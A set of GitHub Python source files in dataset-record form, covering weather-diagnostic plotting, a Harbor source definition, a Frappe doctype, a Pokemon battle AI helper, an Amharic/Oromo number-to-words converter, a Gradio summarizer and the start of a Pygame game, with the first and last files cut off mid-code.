'_' + str(t_i) + '.png'\r\n        plt.savefig(name)\r\n        plt.close()\r\n\r\nshi_han_shu = np.load(r'D:\\python\\tianzhen\\shixi3_4\\水汽势函数.npy')\r\nc = np.zeros((24, 8, 29, 73))\r\nb = np.array(shi_han_shu)\r\nfor h_i in range(8):\r\n    for t_i in range(24):\r\n        c[t_i, h_i, :, :] = b[t_i, h_i, :, :].T\r\nfor h_i in range(8):\r\n    for t_i in range(24):\r\n        ax, fig = createmap()\r\n        colorbar = ax.contourf(lon, lat, c[t_i, h_i, :, :], cmap='Spectral', transform=ccrs.PlateCarree())\r\n        plt.colorbar(colorbar, extendrect='True', pad=0.03, fraction=0.04, shrink=1)\r\n        name = 'D:\\\\python\\\\tianzhen\\\\shixi3_4\\\\ex4\\\\水汽势函数\\\\' + str(h_i) + '_' + str(t_i) + '.png'\r\n        plt.savefig(name)\r\n        plt.close()\r\nliu_han_shu = np.load(r'D:\\python\\tianzhen\\shixi3_4\\流函数.npy')\r\nshuiqi_liu_han_shu = np.load(r'D:\\python\\tianzhen\\shixi3_4\\水汽流函数.npy')\r\nuwind = np.load(r'D:\\python\\tianzhen\\shixi3_4\\水汽通量u分量.npy')\r\nvwind = np.load(r'D:\\python\\tianzhen\\shixi3_4\\水汽通量v分量.npy')\r\nliu_hanshu = np.zeros((24, 12, 29, 73))\r\nshuiqiliu_hanshu = np.zeros((24, 8, 29, 73))\r\nliuhanshu_array = np.array(liu_han_shu)\r\nshuiqiliuhanshu_array = np.array(shuiqi_liu_han_shu)\r\nfor h_i in range(8):\r\n    for t_i in range(24):\r\n        shuiqiliu_hanshu[t_i, h_i, :, :] = shuiqiliuhanshu_array[t_i, h_i, :, :].T\r\nfor h_i in range(12):\r\n    for t_i in range(24):\r\n        liu_hanshu[t_i, h_i, :, :] = liuhanshu_array[t_i, h_i, :, :].T\r\n##流函数\r\nfor h_i in range(8):\r\n    for t_i in range(24):\r\n        ax, fig = createmap()\r\n        colorbar = ax.contourf(lon, lat, liu_hanshu[t_i, h_i, :, :], cmap='Spectral', transform=ccrs.PlateCarree())\r\n        plt.colorbar(colorbar, extendrect='True', pad=0.03, fraction=0.04, shrink=1)\r\n        plt.quiver(lon, lat, uwind[h_i, t_i, :, :], vwind[h_i, t_i, :, :], transform=ccrs.PlateCarree())\r\n        name = 'D:\\\\python\\\\tianzhen\\\\shixi3_4\\\\ex4\\\\流函数\\\\' + str(h_i) + '_' + str(t_i) + '.png'\r\n        plt.savefig(name)\r\n        plt.close()\r\n##水汽流函数\r\nfor h_i in range(8):\r\n    for t_i in range(24):\r\n        ax, fig = createmap()\r\n        colorbar = ax.contourf(lon, lat, shuiqiliu_hanshu[t_i, h_i, :, :], cmap='Spectral',\r\n                               transform=ccrs.PlateCarree())\r\n        plt.colorbar(colorbar, extendrect='True', pad=0.03, fraction=0.04, shrink=1)\r\n        plt.quiver(lon, lat, uwind[h_i, t_i, :, :], vwind[h_i, t_i, :, :], transform=ccrs.PlateCarree())\r\n        name = 'D:\\\\python\\\\tianzhen\\\\shixi3_4\\\\ex4\\\\水汽流函数\\\\' + str(h_i) + '_' + str(t_i) + '.png'\r\n        plt.savefig(name)\r\n        plt.close()\r\n","repo_name":"linbuer233/pythonpractice","sub_path":"天气学诊断分析/ex4_1.0.py","file_name":"ex4_1.0.py","file_ext":"py","file_size_in_byte":5256,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"12635125229","text":"\"\"\"Harbor source.\"\"\"\n\nfrom pydantic import HttpUrl\n\nfrom shared_data_model.meta.entity import Color, Entity, EntityAttribute, EntityAttributeType\nfrom shared_data_model.meta.source import Source\nfrom shared_data_model.parameters import MultipleChoiceWithAdditionParameter, Severities, access_parameters\n\nALL_HARBOR_METRICS = [\"security_warnings\"]\nHARBOR_URL = HttpUrl(\"https://goharbor.io\")\nHARBOR_DESCRIPTION = (\n    \"Harbor is an open source registry that secures artifacts with policies and role-based access control, \"\n    \"ensures images are scanned and free from vulnerabilities, and signs images as trusted.\"\n)\n\nHARBOR = Source(\n    name=\"Harbor\",\n    description=HARBOR_DESCRIPTION,\n    url=HARBOR_URL,\n    parameters={\n        \"projects_to_include\": MultipleChoiceWithAdditionParameter(\n            name=\"Projects to include (regular expressions or project names)\",\n            short_name=\"projects to include\",\n            help=\"Projects to include can be specified by project name or by regular expression.\",\n            placeholder=\"all\",\n            metrics=[\"security_warnings\"],\n        ),\n        \"projects_to_ignore\": MultipleChoiceWithAdditionParameter(\n            name=\"Projects to ignore (regular expressions or project names)\",\n            short_name=\"projects to ignore\",\n            help=\"Projects to ignore can be specified by project name or by regular expression.\",\n            placeholder=\"none\",\n            metrics=[\"security_warnings\"],\n        ),\n        \"repositories_to_include\": MultipleChoiceWithAdditionParameter(\n            name=\"Repositories to include (regular expressions or repository names)\",\n            short_name=\"repositories to include\",\n            help=\"Repositories to include can be specified by repository name or by regular expression.\",\n            placeholder=\"all\",\n            metrics=[\"security_warnings\"],\n        ),\n        \"repositories_to_ignore\": MultipleChoiceWithAdditionParameter(\n            name=\"Repositories to ignore (regular expressions or repository names)\",\n            short_name=\"repositories to ignore\",\n            help=\"Repositories to ignore can be specified by repository name or by regular expression.\",\n            placeholder=\"none\",\n            metrics=[\"security_warnings\"],\n        ),\n        **access_parameters(\n            ALL_HARBOR_METRICS,\n            include={\"private_token\": False, \"landing_url\": False},\n            kwargs={\n                \"url\": {\n                    \"help\": \"URL of the Harbor instance, with port if necessary, but without path. For example \"\n                    \"'https://demo.goharbor.io'.\",\n                },\n            },\n        ),\n    },\n    entities={\n        \"security_warnings\": Entity(\n            name=\"security warning\",\n            measured_attribute=\"total\",\n            attributes=[\n                EntityAttribute(name=\"Project\"),\n                EntityAttribute(name=\"Repository\"),\n                EntityAttribute(name=\"Tags\"),\n                EntityAttribute(name=\"Artifact\", url=\"url\"),\n                EntityAttribute(name=\"Highest severity\", color={\"Critical\": Color.NEGATIVE, \"High\": Color.WARNING}),\n                EntityAttribute(name=\"Fixable\", type=EntityAttributeType.INTEGER),\n                EntityAttribute(name=\"Total\", type=EntityAttributeType.INTEGER),\n            ],\n        ),\n    },\n)\n\nHARBOR_JSON = Source(\n    name=\"Harbor JSON\",\n    description=(\n        HARBOR_DESCRIPTION + \" Use Harbor JSON as source for accessing vulnerability reports downloaded from \"\n        \"the Harbor API in JSON format.\"\n    ),\n    url=HARBOR_URL,\n    parameters={\n        \"severities\": Severities(values=[\"low\", \"medium\", \"high\", \"critical\"]),\n        **access_parameters(ALL_HARBOR_METRICS, source_type=\"Harbor vulnerability report\", source_type_format=\"JSON\"),\n    },\n    entities={\n        \"security_warnings\": Entity(\n            name=\"security warning\",\n            attributes=[\n                EntityAttribute(name=\"Vulnerability id\", url=\"url\"),\n                EntityAttribute(name=\"Package\"),\n                EntityAttribute(name=\"Version\"),\n                EntityAttribute(name=\"Fix version\"),\n                EntityAttribute(name=\"Severity\", color={\"Critical\": Color.NEGATIVE, \"High\": Color.WARNING}),\n                EntityAttribute(name=\"Description\"),\n            ],\n        ),\n    },\n)\n","repo_name":"ICTU/quality-time","sub_path":"components/shared_code/src/shared_data_model/sources/harbor.py","file_name":"harbor.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"60"}
+{"seq_id":"28609738647","text":"import frappe\nfrom frappe.model.document import Document\nfrom frappe.contacts.doctype.address.address import get_address_display\nfrom frappe.model.mapper import get_mapped_doc\nfrom frappe.model.utils import get_fetch_values\n\nclass ContainerPlanning(Document):\n\tpass\n\ndef validate(self):\n\tupdate_item(self)\n\n@frappe.whitelist()\ndef make_planning(source_name, target_doc=None, ignore_permissions=False):\n\tdef postprocess(source, target):\n\t\tset_missing_values(source, target)\n\tdef set_missing_values(source, target):\n\t\ttarget.flags.ignore_permissions = True\n\t\ttarget.run_method(\"set_missing_values\")\n\t\tdoc = frappe.get_doc(target)\n\n\tdef update_item(source, target, source_parent):\n\t\ttarget.s_o_no = source_parent.name\n\t\n\tdoclist = get_mapped_doc(\"Sales Order\", source_name, {\n\t\t\"Sales Order\": {\n\t\t\t\"doctype\": \"Container Planning\",\n\t\t\t\"field_map\": {\n\t\t\t\t\"Sales Order No\": \"name\"\n\t\t\t},\n\t\t\t\"validation\": {\n\t\t\t\t\"docstatus\": [\"=\", 1]\n\t\t\t}\n\t\t},\n\t\t\"Sales Order Item\": {\n\t\t\t\"doctype\": \"Container Planning Item\",\n\t\t\t\"field_map\": {\n\t\t\t},\n\t\t\t\"postprocess\": update_item\n\t\t}\n\t}, target_doc, postprocess, ignore_permissions=ignore_permissions)\n\n\treturn doclist\n\n\n\n@frappe.whitelist(methods=['POST', 'PUT'])\ndef submit(doc):\n\t'''Submit a document\n\t:param doc: JSON or dict object to be submitted remotely'''\n\tif isinstance(doc, str):\n\t\tdoc = json.loads(doc)\n\n\tdoc = frappe.get_doc(doc)\n\tdoc.submit()\n\n\treturn doc.as_dict()\n\n@frappe.whitelist(methods=['POST', 'PUT'])\ndef cancel(doctype, name):\n\t'''Cancel a document\n\t:param doctype: DocType of the document to be cancelled\n\t:param name: name of the document to be cancelled'''\n\twrapper = frappe.get_doc(doctype, name)\n\twrapper.cancel()\n\n\treturn wrapper.as_dict()\n\n@frappe.whitelist(methods=['DELETE', 'POST'])\ndef delete(doctype, name):\n\t'''Delete a remote document\n\t:param doctype: DocType of the document to be deleted\n\t:param name: name of the document to be deleted'''\n\tfrappe.delete_doc(doctype, name, ignore_missing=False)\n\n#@frappe.whitelist(methods=['POST', 'PUT'])\ndef update_items(doc,method):\n\tfrappe.errprint(\"calculate works\")\n\tfrom frappe.utils import flt\n\tfor item in doc.get(\"items\"):\n\t\tif item.planned_qty == 0 or \"\":\n\t\t\titem.planned_qty= flt(item.qty)\n\t\t\titem.difference_qty = 0\n\t\telse:\n\t\t\titem.difference_qty = flt(item.planned_qty - item.qty)\n\n\tdoc.custom_field = \"value\"\n\treturn doc\n\n\ndef create_stock_entry(doc, handler=\"\"):\n    se = frappe.new_doc(\"Stock Entry\")\n    se.update({ \"purpose\": \"Material Transfer\" , \"stock_entry_type\": \"Material Transfer\" , \"from_warehouse\": \"Reservation Warehouse - G\" , \"to_warehouse\": \"Finished Goods - G\" })\n    for se_item in doc.items:\n        se.append(\"items\", { \"item_code\":se_item.item_code, \"item_group\": se_item.item_group, \"item_name\":se_item.item_name, \"amount\":se_item.amount, \"qty\": se_item.qty , \"uom\":se_item.uom, \"conversion_factor\": se_item.conversion_factor }) \n    frappe.msgprint('Stock Entry is created please submit the stock entry')\n    se.insert()","repo_name":"Atulsah/v_report","sub_path":"v_report/v_report/doctype/container_planning/container_planning.py","file_name":"container_planning.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6936473140","text":"import random\nimport ujson as json\nfrom enum import Enum\nfrom RAIchu_Enums import MoveType, AIType, PredictionType, Player\nfrom Battle_Resources import Battle_Resources\n\nclass RAIchu_Utils():\n    \n\n\n    def load_resources(DATA_DIRECTORY):\n        \n\n        RAIchu_Utils.BOOST_DICT = {'atk': 0, 'def': 0, 'spd': 0, 'spa': 0, 'spe': 0, 'accuracy': 0}\n        RAIchu_Utils.BOOST_MULTI = {-6: 0.25, -5: 0.2857, -4: 0.3333, -3: 0.4, -2: 0.5, -1: 0.66, \\\n        0: 1, 1: 1.5, 2: 2, 3:2.5, 4: 3, 5: 3.5, 6: 4}\n\n        RAIchu_Utils.NUM_POKEMON = 6\n        RAIchu_Utils.NUM_MOVES = 4\n        \n        f = open(DATA_DIRECTORY + '/move_dict.txt', 'r')\n        RAIchu_Utils.possible_moves = json.load(f)\n        f.close()\n        \n        f = open(DATA_DIRECTORY + '/pokemon_stats_dict.txt', 'r')\n        RAIchu_Utils.pokemon_stats = json.load(f)\n        f.close()\n        \n    def calculate_stats(base_stats, level):\n        #returns an estimate (expected value) of the stats of a pokemon based on their base stats and level\n        \n        stats = {}\n        for k in base_stats:\n            if k == 'hp':\n                stats[k] = ((2*base_stats[k] + 52)*level//100) + level + 10\n            else:\n                stats[k] = ((2*base_stats[k] + 52)*level//100) + 5\n                \n        return stats\n        \n    def calculate_damage(attacker, defender, attacking_player, field, move, pred_type):\n        #returns damage done as a percentage of defender's total hp\n        \n        other_multi = 1\n        weather_multi = 1\n        if move == 'nightshade' or move == 'seismictoss':\n            return ((100*attacker['level'])//defender['stats']['hp'])\n        #inconsistent message format from server\n        if 'hiddenpower' in move:\n            if '60' in move:\n                move = move[:-2]\n            category = 'Special'\n            power = 60\n            typ = move[11:]\n        else:    \n            power = Battle_Resources.effects[move]['basePower']\n            typ = Battle_Resources.effects[move]['type']\n            category = Battle_Resources.effects[move]['category']\n    \n        if category == 'Physical':\n            \n            atk = RAIchu_Utils.get_stat(attacker, 'atk')\n            de = RAIchu_Utils.get_stat(defender, 'def')\n            if (attacking_player == Player.SELF and 'reflect' in field['opp_side']) or (attacking_player == Player.OPPONENT and 'reflect' in field['side']):\n                other_multi *= 1.5\n            \n        elif category == 'Special':   \n                 \n            atk = RAIchu_Utils.get_stat(attacker, 'spa')\n            de = RAIchu_Utils.get_stat(defender, 'spd')\n            if (attacking_player == Player.SELF and 'lightscreen' in field['opp_side']) or (attacking_player == Player.OPPONENT and 'lightscreen' in field['side']):\n                other_multi *= 1.5\n            \n        else:\n            #non-damaging move\n            return 0\n            \n        \n        type_multi = 1\n        \n        if (typ == 'ground') and ('Levitate' in RAIchu_Utils.pokemon_stats[defender['ident']]['abilities'].values()) and (not (defender['ability'] != '' and defender['ability'] != 'levitate')):\n            return 0\n        for t in defender['type']:\n            type_multi *= Battle_Resources.typechart[t][typ]\n        \n\n        \n        if 'burn' in attacker['status'] and category == 'Physical':\n            burn_multi = 0.5\n        else:\n            burn_multi = 1\n            \n        if pred_type == PredictionType.MAX_DAMAGE:\n            crit_multi = 2\n            random_multi = 1\n            \n        elif pred_type == PredictionType.MIN_DAMAGE:\n            crit_multi = 1\n            random_multi = 0.85\n            \n        elif pred_type == PredictionType.RANDOM:\n            val = random.randint(0, 15)\n            random_multi = (85+val)/100\n            val = random.randint(0, 15)\n            if val == 0:\n                crit_multi = 2\n            else:\n                crit_multi = 1\n                \n        elif pred_type == PredictionType.EXPECTED:\n            random_multi = 0.925\n            \n            ##Need to implement accounting for increased crit chance in some situations\n            crit_multi = 1.0625\n        elif pred_type == PredictionType.MOST_LIKELY:\n            random_multi = 0.925\n            crit_multi = 1\n                        \n        if typ in attacker['type']:\n            STAB_multi = 1.5\n        else:\n            STAB_multi = 1\n            \n        multiplier = weather_multi*crit_multi*random_multi*STAB_multi*type_multi*burn_multi*other_multi\n        damage = (((((((2*attacker['level'])/5)+2)*atk*power)/de)/50)+2)*multiplier\n        \n        percentage = min(defender['condition'], (100*damage)//defender['stats']['hp'])\n        return percentage\n            \n            \n            \n    def get_stat(pokemon, stat):\n        #returns the value of the stat of the pokemon with active boosts taken into account\n        \n        s =  pokemon['stats'][stat]*RAIchu_Utils.BOOST_MULTI[pokemon['boosts'][stat]]\n        \n        if pokemon['item'] == 'choiceband':\n            if stat == 'atk':\n                s *= 1.5\n        elif pokemon['item'] == 'lifeorb':\n            if stat == 'atk' or stat == 'spa':\n                s *= 1.3\n        elif pokemon['item'] == 'assaultvest':\n            if stat == 'spd':\n                s *= 1.5\n        elif pokemon['item'] == 'choicescarf':\n            if stat == 'spe':\n                s *= 1.5\n        elif pokemon['item'] == 'choicespecs':\n            if stat == 'spa':\n                s *= 1.5\n        elif pokemon['item'] == 'eviolite':\n            if stat == 'def' or stat == 'spd':\n                s*= 1.5\n                \n        return s\n    \n    def simulate_move(attacker, defender, attacking_player, field, move, pred_type):\n        \n        #Simulates the effect of attacker using move on defender and returns defender state after execution.\n        \n\n                \n        damage = RAIchu_Utils.calculate_damage(attacker, defender, attacking_player, field, move, pred_type)\n        \n        defender['condition'] -= damage\n        if not 'hiddenpower' in move:\n            if 'status' in Battle_Resources.effects[move].keys() and not Battle_Resources.effects[move]['status'] in defender['status']:\n                defender['status'].append(Battle_Resources.effects[move]['status'])\n                \n            if 'volatileStatus' in Battle_Resources.effects[move].keys() and not Battle_Resources.effects[move]['volatileStatus'] in defender['volatileStatus']:\n                defender['volatileStatus'].append(Battle_Resources.effects[move]['volatileStatus'])\n\n            if 'boosts' in Battle_Resources.effects[move].keys():\n                \n        \n                if Battle_Resources.effects[move]['target'] == 'self':\n                    RAIchu_Utils.apply_boosts(attacker, Battle_Resources.effects[move]['boosts'])\n                        \n                else:\n                    RAIchu_Utils.apply_boosts(defender, Battle_Resources.effects[move]['boosts'])\n                    \n            if 'self' in Battle_Resources.effects[move].keys() and 'boosts' in Battle_Resources.effects[move]['self'].keys():\n                \n                RAIchu_Utils.apply_boosts(attacker, Battle_Resources.effects[move]['self']['boosts'])\n                \n            if 'recoil' in Battle_Resources.effects[move].keys():\n                attacker['condition'] -= damage * Battle_Resources.effects[move]['recoil'][0]/Battle_Resources.effects[move]['recoil'][1]\n            \n            elif 'drain' in Battle_Resources.effects[move].keys():\n                attacker['condition'] += damage * Battle_Resources.effects[move]['drain'][0]/Battle_Resources.effects[move]['drain'][1]\n            \n            elif 'heal' in Battle_Resources.effects[move].keys():\n                attacker['condition'] += 100 * Battle_Resources.effects[move]['heal'][0]/Battle_Resources.effects[move]['heal'][1]\n                \n            elif 'selfdestruct' in Battle_Resources.effects[move].keys():\n                attacker['condition'] = 0\n                \n            if attacker['condition'] > 100:\n                attacker['condition'] = 100\n                \n            if damage > 0 and attacker['item'] == 'lifeorb':\n                attacker['condition'] -= 10\n        \n                    \n        if 'choice' in attacker['item']:\n            for i in range(len(attacker['moves'])):\n                if attacker['possible_moves'][i] != move:\n                    attacker['disabled'][i] = 1\n          \n           \n        \n        \n            \n        \n        \n    def apply_boosts(pokemon, boost_dict):\n        \n        #Applies boosts in boost_dict to pokemon.\n                \n        for boost in boost_dict.keys():                        \n            pokemon['boosts'][boost] += boost_dict[boost]\n            if pokemon['boosts'][boost] > 6:\n                pokemon['boosts'][boost] = 6\n            elif pokemon['boosts'][boost] < -6:\n                pokemon['boosts'][boost] = -6\n            \n    def apply_switch(state, player, next_active):\n        #Applies the effects of switching the active pokemon\n                      \n        #volatileStatus and boosts clear on switching out\n        if player == Player.SELF:\n\n            state.info['pokemon'][state.info['active']]['volatileStatus'] = set([])\n            state.info['pokemon'][state.info['active']]['boosts'] = RAIchu_Utils.BOOST_DICT.copy()\n            state.info['active'] = next_active\n            state.info['pokemon'][state.info['active']]['disabled']  = [0 for k in range(len(state.info['pokemon'][state.info['active']]['moves']))]\n        else:\n\n            state.info['opp_pokemon'][state.info['opp_active']]['volatileStatus'] = set([])\n            state.info['opp_pokemon'][state.info['opp_active']]['boosts'] = RAIchu_Utils.BOOST_DICT.copy()\n            state.info['opp_active'] = next_active\n            state.info['opp_pokemon'][state.info['opp_active']]['disabled'] = [0 for k in range(len(state.info['opp_pokemon'][state.info['opp_active']]['possible_moves']))]\n            \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        ","repo_name":"conNULL/rAIchu","sub_path":"RAIchu_Utils.py","file_name":"RAIchu_Utils.py","file_ext":"py","file_size_in_byte":10246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"17637836511","text":"\namharic_ones = [\"ዜሮ\", \"አንድ\", \"ሁለት\", \"ሶስት\",\n                \"አራት\", \"አምስት\", \"ስድስት\", \"ሰባት\", \"ስምንት\", \"ዘጠኝ\"]\namharic_tens = [\"አስራ\", \"ሃያ\", \"ሰላሳ\", \"አርባ\", \"ሃምሳ\", \"ስልሳ\", \"ሰባ\", \"ሰማንያ\", \"ዘጠና\"]\namharic_powers = [\"ሺህ\", \"ሚሊዮን\", \"ቢሊዮን\", \"ትሪሊዮን\"]\n\nao_ones = [\"duwwaa\", \"tokko\", \"lama\", \"sadii\", \"afuri\", \"shani\", \"jaha\", \"torba\", \"saddeeti\", \"sagali\"]\nao_tens = [\"Kudha\", \"digdami\", \"soddomi\", \"afurtami\", \"shantami\", \"jahatami\", \"torbaatami\", \"saddeetami\", \"sagaltami\"]\nao_powers = [\"kuma\", \"kitila\", \"biliyoonii\", \"triliyoonii\"]\n\ndef is_digits(string: str) -> bool:\n    \"\"\"Checks if a given string is composed of only digits\n    >>> is_digits(\"123\")\n    True\n    >>> is_digits(\"abc\")\n    False\n    >>> is_digits(\"3434a\")\n    False\n    Arguments:\n        string {str} -- String to be checked\n    \n    Returns:\n        bool -- True if the string is composed of only digits,  else False\n    \"\"\"\n\n    output: bool = False\n    try:\n        num: int = int(string)\n        output = True\n    except ValueError as e:\n        output = False\n    return output\n\n\nclass Group(object):\n    \"\"\"Datastructure to represent group of digits. It is assumed that the numbers are grouped in natural way of writing numbers by grouping into three digits\n    and seperating them by commas. E.g 1,343,641,234. Group index is obtained the index of the group from right to left.\n    E.g in \"1,343,641,234\", Group index(g_index) of \"343\" is 2.\n    >>> g = Group(\"343\", 1)\n    >>> g.value\n    \"343\"\n    >>> g.\n    >>> g = Group(\"\", 0)\n    ValueError      Traceback (most recent call last)\n        ...\n    ValueError: Value should be composed of only digits\n    >>> g = Group(\"abc\", 3)\n    ValueError      Traceback (most recent call last)\n        ...\n    ValueError: Value should be composed of only digits\n    >>> g = Group(\"32c\", 1)\n    ValueError      Traceback (most recent call last)\n        ...\n    ValueError: Value should be composed of only digits\n    >>> g = Group(\"32\", -1)\n    ValueError      Traceback (most recent call last)\n        ...\n    ValueError: g_index should be non-negative integer\n    \"\"\"\n\n    def __init__(self, value: str, g_index: int, lang:str=\"am\"):\n        \"\"\"Provides Group initialization\n        \n        Arguments:\n            value {str} -- Group string value\n            g_index{int} -- Group index. Group index is obtained group index counted from right to left, when the number is seperated by commas.\n        \"\"\"\n\n        self.value = value\n        self.g_index = g_index\n        self._lang = lang\n        \n        assert self._lang in [\"am\", \"ao\"], \"Currently supported languages are only: '%s' and '%s'\"%(\"am\", \"ao\")\n\n    @property\n    def value(self):\n        return self._value\n\n    @value.setter\n    def value(self, value: str) -> None:\n        if not is_digits(value):\n            raise ValueError(\"Value should be composed of only digits\")\n        elif len(value) > 3 or len(value) == 0:\n            raise ValueError(\n                \"Value length should be between 1 and 3 inclusive\")\n        self._value = self.remove_trailing_zeros(value)\n\n    @property\n    def g_index(self):\n        return self._g_index\n\n    @g_index.setter\n    def g_index(self, g_index: int) -> None:\n        if int(g_index) != g_index or g_index < 0:\n            raise ValueError(\"g_index should be non-negative integer\")\n        self._g_index = g_index\n\n    def remove_trailing_zeros(self, group: str) -> str:\n        \"\"\"Removes prefix zeros. When written in word numbers are often grouped and seperated by commas.\n        >>> remove_trailing_zeros(\"012\")\n        12\n        >>> remove_trailing_zeros(\"000\")\n        0\n        >>> remove_trailing_zeros(\"123\")\n        123\n        >>> remove_trailing_zeros(\"3434343\")\n        ValueError      Traceback (most recent call last)\n            ...\n        ValueError: Group length should be between 1 and 3 inclusive\n        >>> remove_trailing_zeros(\"23a\")\n        ValueError      Traceback (most recent call last)\n            ...\n        ValueError: Group should be number\n\n        Arguments:\n            group {str} -- Group of numbers.\n        \n        Raises:\n            ValueError -- If the given group is not number\n            ValueError -- If the length of the group is either zero or greater than 3. It is assumed that the numbers are often grouped at least one and at most three.\n\n        \n        Returns:\n            str -- Group with prefix zeros are being removed\n        \"\"\"\n\n        while len(group) > 1 and group[0] == \"0\":\n            group = group[1:]\n        return group\n\n    def get_ones(self):\n        \"\"\"Get the ones place word representation of current group\n        >>> a = Group(\"123\", 0)\n        >>> a.get_ones()\n        ሶስት\n        >>> b = Group(\"0\", 0)\n        >>> b.get_ones()\n        ዜሮ\n        Returns:\n            str -- Ones place word representation of current group if the group has ones place\n        \"\"\"\n\n        if self.value[-1] == \"0\" and len(self.value) > 1:\n            return \"\"\n        else:\n            if self._lang==\"am\":\n                return amharic_ones[int(self.value[-1])]\n            elif self._lang == \"ao\":\n                return ao_ones[int(self.value[-1])]\n            \n\n    def get_tens(self):\n        \"\"\"Get the tens place word representation of current group\n        >>> a = Group(\"0\", 0)\n        >>> a.get_tens()\n        \n        >>> b = Group(\"2\", 0)\n        >>> b.get_tens()\n        \n        >>> c = Group(\"20\", 0)\n        >>> c.get_tens()\n        ሃያ\n        >>> d = Group(\"102\", 0)\n        >>> d.get_tens()\n        \n        >>> d = Group(\"110\", 0)\n        >>> d.get_tens()\n        አስር\n        >>> d = Group(\"114\", 0)\n        >>> d.get_tens()\n        አስራ\n\n        Returns:\n            str -- Tens place word representation of current group if the group has tens place\n        \"\"\"\n        if len(self.value) < 2 or self.value[-2] == \"0\":\n            return \"\"\n        else:\n            if self.value[-1] == \"0\" and self.value[-2] == \"1\":\n                if self._lang==\"am\":\n                    return \"አስር\"\n                elif self._lang==\"ao\":\n                    return \"kudhan\"\n            \n            if self._lang == \"am\":\n                return amharic_tens[int(self.value[-2]) - 1]\n            elif self._lang == \"ao\":\n                if self.value[-1] != \"0\":\n                    return ao_tens[int(self.value[-2]) - 1]\n                else:\n                    return ao_tens[int(self.value[-2]) - 1][:-1]+\"a\"\n\n\n\n    def get_hundreds(self):\n        \"\"\"Get the hundreds place word representation of current group\n        >>> a = Group(\"0\", 0)\n        >>> a.get_hundreds()\n\n        >>> b = Group(\"12\", 0)\n        >>> b.get_hundreds()\n\n        >>> c = Group(\"100\", 0)\n        >>> c.get_hundreds()\n        አንድ መቶ\n\n        Returns:\n            str -- Hundreds place word representation of current group if the group has hundreds place\n        \"\"\"\n        if not is_digits(self.value):\n            raise ValueError(\"Group should be number\")\n        if len(self.value) < 3:\n            return \"\"\n        else:\n            if self._lang==\"am\":\n                return amharic_ones[int(self.value[-3])] + \" መቶ\"\n            elif self._lang==\"ao\":\n                return \"dhibba \"+ ao_ones[int(self.value[-3])]+\" fi\"\n\n    def to_words(self) -> str:\n        \"\"\"Converts current group into word representation\n        >>> g = Group(341)\n        >>> g.to_words()\n        ሶስት መቶ አርባ አንድ\n        Returns:\n            str -- Word representation of the group\n        \"\"\"\n        output = \"\"\n        hundreds = self.get_hundreds()\n        tens = self.get_tens()\n        ones = self.get_ones()\n        if len(hundreds) > 0:\n            output += hundreds\n        if len(tens) > 0:\n            if len(hundreds) > 0:\n                output+=\" \"\n            output +=  tens\n        if len(ones) > 0:\n            if len(tens) > 0:\n                output += \" \"\n            elif len(hundreds) > 0:\n                output+=\" \"\n            output += ones\n        power = self.get_power()\n        if len(power) > 0:\n            \n            if output == \"ዜሮ\" or output == \"duwwaa\":\n                output = \"\"\n            else:\n                if self._lang==\"am\":\n                    output = output + \" \" + power\n                elif self._lang == \"ao\":\n                    output = power + \" \" + output+\" fi,\"\n                    \n\n        return output\n    def get_power(self):\n        if self.g_index == 0:\n            return \"\"\n        else:\n            if self._lang==\"am\":\n                return amharic_powers[self.g_index - 1]\n            elif self._lang == \"ao\":\n                return ao_powers[self.g_index - 1]\n                \n            \n","repo_name":"ymitiku/AmharicNumber2Word","sub_path":"am_num2word/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":8844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12399903646","text":"from transformers import pipeline\nimport gradio\n\n\nmodel = pipeline(\n    \"summarization\",\n    model=\"sshleifer/distilbart-cnn-12-6\",\n)\n\n\ndef predict(prompt):\n    summary = model(prompt)[0][\"summary_text\"]\n    return summary\n\n\nif __name__ == '__main__':\n    with gradio.Interface(predict,\n                          \"textbox\",\n                          \"text\",\n                          allow_flagging=\"never\") as interface:\n        interface.launch()\n","repo_name":"samalba/hf-model-ops","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"60"}
+{"seq_id":"22283052324","text":"# coding: utf-8\n# Author: Charles\n\nimport pygame\nfrom pygame.locals import *\nimport math   # For calculating spining angle\nimport random # For its Random function\n\n# Initialize pygame, set up game window\npygame.init()\nwidth, height = 640, 480\nscreen = pygame.display.set_mode((width, height))\n# Array keys: used to record player's input [W,A,S,D]\nkeys = [False, False, False, False]\n# Array playerpos: player character's location\nplayerpos = [100, 100]\n# Array acc: acc=[number of bullets been shoot, number of enemies been hit]\n# Will be used later to calculate player's accuracy\nacc = [0, 0]\n# Array arrows: used to store projectiles\narrows = []\n# Defines a timer, create a new enemy after certain time\nbadtimer = 100\nbadtimer1 = 0\nbadguys = [[640, 100]]\nhealthvalue = 194\n# Initialize audio\npygame.mixer.init()\n\n# Load player character imagedud\nrabbit_img = pygame.image.load(\"resources/images/dude.png\")\n# Load backgroud image\ngrass_img = pygame.image.load(\"resources/images/grass.png\")\ncastle_img = pygame.image.load(\"resources/images/castle.png\")\n# Load projectile image\narrow_img = pygame.image.load('resources/images/bullet.png')\n# Load ememies images\nbadguy_img1 = pygame.image.load(\"resources/images/badguy.png\")\nbadguy_img = badguy_img1\n# Load healthbar images\nhealthbar_img = pygame.image.load(\"resources/images/healthbar.png\")\nhealth_img = pygame.image.load(\"resources/images/health.png\")\n# Load victory and failure image\ngameover_img = pygame.image.load(\"resources/images/gameover.png\")\nyouwin_img = pygame.image.load(\"resources/images/youwin.png\")\n# Load audios and set volumn \nhit = pygame.mixer.Sound(\"resources/audio/explode.wav\")\nenemy = pygame.mixer.Sound(\"resources/audio/enemy.wav\")\nshoot = pygame.mixer.Sound(\"resources/audio/shoot.wav\")\nhit.set_volume(0.05)\nenemy.set_volume(0.05)\nshoot.set_volume(0.05)\n# Load background music and looping 